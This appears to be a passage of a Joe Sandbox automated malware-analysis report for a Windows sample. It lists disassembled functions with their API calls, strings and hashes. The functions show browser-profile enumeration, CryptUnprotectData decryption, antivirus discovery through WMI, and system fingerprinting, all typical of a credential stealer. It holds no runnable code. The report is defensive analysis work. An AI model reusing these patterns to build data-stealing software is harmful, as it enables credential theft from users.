Function 0040A2C0 Relevance: 23.3, APIs: 7, Strings: 6, Instructions: 512fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,004201E9,00000000,?,?), ref: 0040A322
StrCmpCA.SHLWAPI(?,004201DC), ref: 0040A34C
StrCmpCA.SHLWAPI(?,004201D8), ref: 0040A366
StrCmpCA.SHLWAPI(00000000,Opera,004201E9,004201E9,004201E9,004201E9,004201E9,004201E9,004201E9), ref: 0040A3DD
StrCmpCA.SHLWAPI(00000000,Opera GX), ref: 0040A3F1
StrCmpCA.SHLWAPI(00000000,Opera Crypto), ref: 0040A405

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 00410D10: GetFileAttributesA.KERNEL32(00000000,?,?,0040B844,?,00000000,?,00000000,004201E9,004201E9), ref: 00410D1D

Part of subcall function 00409D40: FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,004201E9,?,75AFAC90,?), ref: 00409D8B
Part of subcall function 00409D40: StrCmpCA.SHLWAPI(?,004201DC), ref: 00409DAE
Part of subcall function 00409D40: StrCmpCA.SHLWAPI(?,004201D8), ref: 00409DC8

FindNextFileA.KERNEL32(?,?), ref: 0040A984

Strings

P2#v, xrefs: 0040A984
Opera GX, xrefs: 0040A3E3
1#v, xrefs: 0040A322
Opera, xrefs: 0040A3CF
\*.*, xrefs: 0040A2D9
Opera Crypto, xrefs: 0040A3F7

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$Find$Firstlstrcat$AttributesNextlstrlen
String ID: Opera$Opera Crypto$Opera GX$P2#v$\*.*$1#v
API String ID: 3824151033-978719237
Opcode ID: e44a3a0c94b49c6a3fd2b09190ddcc4d0c627d18eb0f45bc393314862995086d
Instruction ID: c055696588133eeff082df826d79585fe0f613ba782fed39e499d95d60d79d7b
Opcode Fuzzy Hash: e44a3a0c94b49c6a3fd2b09190ddcc4d0c627d18eb0f45bc393314862995086d
Instruction Fuzzy Hash: 5A1233729101086BCB28FB71DC52EED7378AF54704F40857EB506729D2EF786A4CCAA9

Function 0040B390 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 283fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004234C0,004201E9,00000000,?,?), ref: 0040B3F2
StrCmpCA.SHLWAPI(?,004201DC), ref: 0040B41C
StrCmpCA.SHLWAPI(?,004201D8), ref: 0040B436
StrCmpCA.SHLWAPI(?,prefs.js,00000000,?,?,?,004201E0,?,?,004201E9), ref: 0040B4B0

Part of subcall function 00410B80: GetSystemTime.KERNEL32(004201E9,02498710,004201E9,?,00000030,004201E9,004201E9,?,00000000,?,?,004176BE), ref: 00410BA9

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040B562
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040B59A
DeleteFileA.KERNEL32(00000000,?,004201E9), ref: 0040B63E

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 004110F0: memset.MSVCRT ref: 0041110A
Part of subcall function 004110F0: GetProcessHeap.KERNEL32(00000000,000000FA,00000000,00000000,?,00409753,00409C77), ref: 0041113D
Part of subcall function 004110F0: HeapAlloc.KERNEL32(00000000,?,00409753,00409C77), ref: 00411144
Part of subcall function 004110F0: wsprintfW.USER32 ref: 00411153
Part of subcall function 004110F0: OpenProcess.KERNEL32(00001001,00000000,?,?), ref: 004111BB
Part of subcall function 004110F0: TerminateProcess.KERNEL32(00000000,00000000,?,?), ref: 004111CA
Part of subcall function 004110F0: CloseHandle.KERNEL32(00000000,?,?), ref: 004111D1

FindNextFileA.KERNELBASE(00000000,?), ref: 0040B6F5
FindClose.KERNEL32(00000000), ref: 0040B704

Strings

P2#v, xrefs: 0040B6F5
1#v, xrefs: 0040B3F2
prefs.js, xrefs: 0040B4A4

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$FindProcess$CloseCopyHeaplstrcat$AllocDeleteFirstHandleNextOpenSystemTerminateTimelstrlenmemsetwsprintf
String ID: P2#v$prefs.js$1#v
API String ID: 874672723-2885088814
Opcode ID: 58096f63881a2948a74062516666b8d5a916b4f522506a911d1859a642312633
Instruction ID: 4260c9570d047cb4ee5d2090f2cf981c79b292f60dd583d0dc47953d2b0846df
Opcode Fuzzy Hash: 58096f63881a2948a74062516666b8d5a916b4f522506a911d1859a642312633
Instruction Fuzzy Hash: C2A11E72910108ABCB24FB71DC56AEE7778AF54304F40853EE905B35D2EF386A4DCA99

Function 004153C0 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 161stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 0041541D
memset.MSVCRT ref: 0041543E
GetDriveTypeA.KERNEL32(00000000,?,?,00000000), ref: 00415447
lstrcpyA.KERNEL32(?,00000000,?,?,00000000), ref: 00415466
lstrcpyA.KERNEL32(?,00000000,?,?,00000000), ref: 00415484
lstrcpyA.KERNEL32(?,00000000,?,?,?,?,?,00000000), ref: 004154A7
lstrlenA.KERNEL32(00000000), ref: 0041550E

Strings

%DRIVE_FIXED%, xrefs: 0041548B
pVA, xrefs: 00415572, 004155AC, 004154F7, 004154FC, 00415577
*%DRIVE_FIXED%*, xrefs: 004153CF
*%DRIVE_REMOVABLE%*, xrefs: 004153EE
%DRIVE_REMOVABLE%, xrefs: 0041546D

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Drive$LogicalStringsTypelstrlenmemset
String ID: %DRIVE_FIXED%$%DRIVE_REMOVABLE%$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*$pVA
API String ID: 1884655365-1202875852
Opcode ID: a15a48885c9e95e0af7cde5ac2a87ce2fdea729cbfa79c02cc594fb5a6742aa2
Instruction ID: bbf7442ac75b1dedefd6e11ab23fcaa94ebd49349dc0b1136d9cad4923d5d44c
Opcode Fuzzy Hash: a15a48885c9e95e0af7cde5ac2a87ce2fdea729cbfa79c02cc594fb5a6742aa2
Instruction Fuzzy Hash: 87516671600244ABDB70FF71DC86FEE3369AF44704F50803AFA0966192DF786A49CB69

Function 004099F0 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 251fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004234C0,004201E9,?), ref: 00409A50
StrCmpCA.SHLWAPI(?,004201DC), ref: 00409A6D
StrCmpCA.SHLWAPI(?,004201D8), ref: 00409A87
StrCmpCA.SHLWAPI(?,024C0120,00000000,?,?,?,004201E0,?,?,004201E9), ref: 00409B03
StrCmpCA.SHLWAPI(?,024C0650), ref: 00409B69

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 00408DD0: CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00408E75
Part of subcall function 00408DD0: CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00408EAA

FindNextFileA.KERNELBASE(00000000,?), ref: 00409CDF
FindClose.KERNEL32(00000000), ref: 00409CEE

Strings

P2#v, xrefs: 00409CDF
1#v, xrefs: 00409A50

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$Find$Copylstrcat$CloseFirstNextlstrlen
String ID: P2#v$1#v
API String ID: 1309316030-762677545
Opcode ID: 0ba26bfa0c506a7a61728fe72aaece1d33be5286091eb5358686cd9ad949d485
Instruction ID: 9bfd207ce50c0c1877f45400523c984a60adf101312f3de179d0de13c9639d5b
Opcode Fuzzy Hash: 0ba26bfa0c506a7a61728fe72aaece1d33be5286091eb5358686cd9ad949d485
Instruction Fuzzy Hash: EB911F72900108A7CB24FB71DC569EE777DAB44744F40863EF902A29D6EF789A0C8695

Function 00410900 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 141comCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000000,00000000,?,00000030,?,00000000,?,AV: ,00000000,?,00423408,00000000,?,00000000,00000000), ref: 00410928
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,00000030,?,00000000,?,AV: ,00000000), ref: 00410939
CoCreateInstance.OLE32(004249C0,00000000,00000001,004248F0,00000000,?,00000030,?,00000000,?,AV: ,00000000,?,00423408,00000000,?), ref: 00410953
CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,00000030,?,00000000,?,AV: ,00000000,?), ref: 0041098C
VariantInit.OLEAUT32(?), ref: 004109E3

Part of subcall function 00410CF0: LocalAlloc.KERNEL32(00000040,00000005,00000000,?,00410A09,00000030,?,00000030,?,00000000,?,AV: ,00000000,?,00423408,00000000), ref: 00410CF8
Part of subcall function 00410CF0: CharToOemW.USER32(?,00000000), ref: 00410D05

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

VariantClear.OLEAUT32(?), ref: 00410A1B

Strings

Select * From AntiVirusProduct, xrefs: 004109A1
root\SecurityCenter2, xrefs: 0041096B
displayName, xrefs: 004109F5
Unknown, xrefs: 00410A3E
WQL, xrefs: 004109A6

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: InitializeVariant$AllocBlanketCharClearCreateInitInstanceLocalProxySecuritylstrcpy
String ID: Select * From AntiVirusProduct$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 685420537-2561087649
Opcode ID: 14c2aef3a591fd2902ff4a17e71782beafdfaa6366ad45fd69ac525a9770b687
Instruction ID: 111392f2127a0d2122f17b414c1528a281c0ab609e0c548076d9d5dfd58a5577
Opcode Fuzzy Hash: 14c2aef3a591fd2902ff4a17e71782beafdfaa6366ad45fd69ac525a9770b687
Instruction Fuzzy Hash: A9415F71A01225ABCB20DB95DC45EEFBBBCEF49B60F10421AF515A7280C775AA41CBA4

Function 0040FC30 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

GetKeyboardLayoutList.USER32(00000000,00000000,004201E9,00000000,?,00000030), ref: 0040FC4D
LocalAlloc.KERNEL32(00000040,00000000,?,00000030), ref: 0040FC5F
GetKeyboardLayoutList.USER32(00000000,00000000,?,00000030), ref: 0040FC69
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,?,00000030), ref: 0040FC93

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

LocalFree.KERNEL32(00000000,?,00000030), ref: 0040FD16

Strings

/ , xrefs: 0040FCAB

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcatlstrlen
String ID: /
API String ID: 507856799-4001269591
Opcode ID: 500ee8c08f20458fefc98cf924f39d9b0c0729083dc0d2baae009b1d1f0a3f5e
Instruction ID: 0df51f6c7c38cdc7b73c36f3f29490646fb89a6b7ce8503a4d5a956f8c487b71
Opcode Fuzzy Hash: 500ee8c08f20458fefc98cf924f39d9b0c0729083dc0d2baae009b1d1f0a3f5e
Instruction Fuzzy Hash: 13218271500218BBDB20EBA1DC86EEE777DEF88700F40513AFA05661C1DF789949CBA4

Function 0040FBC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040FBD1
HeapAlloc.KERNEL32(00000000), ref: 0040FBD8
GetTimeZoneInformation.KERNEL32(?), ref: 0040FBE7
wsprintfA.USER32 ref: 0040FC12

Strings

wwww, xrefs: 0040FBF8

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID: wwww
API String ID: 362916592-671953474
Opcode ID: a671d90642e18a916263cb03e8fa96a413124f80aca2b8089fefbc7501649321
Instruction ID: fbce99371d8f23c69195bcece4cb59d5ef7dd42c2aed0f13d542024a30712026
Opcode Fuzzy Hash: a671d90642e18a916263cb03e8fa96a413124f80aca2b8089fefbc7501649321
Instruction Fuzzy Hash: 1EF02770B00218ABD71C3B78AC0EE6A3B6EAB81311F041365FF06CA2C0DB704C104AD1

Function 004112F0 Relevance: 7.6, APIs: 5, Instructions: 61processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00411329
Process32First.KERNEL32(00000000,00000128), ref: 00411339
Process32Next.KERNEL32(00000000,00000128), ref: 0041134B
StrCmpCA.SHLWAPI(?,?), ref: 00411360
CloseHandle.KERNEL32(00000000), ref: 00411385

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: be8fff6f84b892f8d85d2b578ecce69cb58c0f85215eb4f569bb4dc899e8e412
Instruction ID: 3ee263357de7356a118a80b25b2dae21b26717c0aa6c402fa6d9d07f030b476f
Opcode Fuzzy Hash: be8fff6f84b892f8d85d2b578ecce69cb58c0f85215eb4f569bb4dc899e8e412
Instruction Fuzzy Hash: 70114C75A01618AFDB10DF98DC45BEEB7BCFB49761F0042AAE919E3680D7345A00CBA5

Function 00411400 Relevance: 7.6, APIs: 5, Instructions: 53processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00411439
Process32First.KERNEL32(00000000,00000128), ref: 00411449
Process32Next.KERNEL32(00000000,00000128), ref: 0041145B
StrCmpCA.SHLWAPI(?,00423EE4), ref: 00411470
FindCloseChangeNotification.KERNEL32(00000000), ref: 00411482

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32
String ID:
API String ID: 3243318325-0
Opcode ID: 2625226fddd4da006d26e06fdee4ba1bf4f4a11824d8d051c31eb45bd74834d2
Instruction ID: f304eba33368e90d87c3244fdfdafea8657fd46212b62d22af59a709f315db57
Opcode Fuzzy Hash: 2625226fddd4da006d26e06fdee4ba1bf4f4a11824d8d051c31eb45bd74834d2
Instruction Fuzzy Hash: 83110472944218AFC710CF94DC45BEBBBBCFB06B00F00916AFA0593240DB384A04CBE4

Function 00406D50 Relevance: 4.5, APIs: 3, Instructions: 47memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(0040EC94,00000000,00000000,00000000,00000000,00000000,?), ref: 00406D75
LocalAlloc.KERNEL32(00000040,?,00000000), ref: 00406D8D
LocalFree.KERNEL32(?), ref: 00406DAE

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
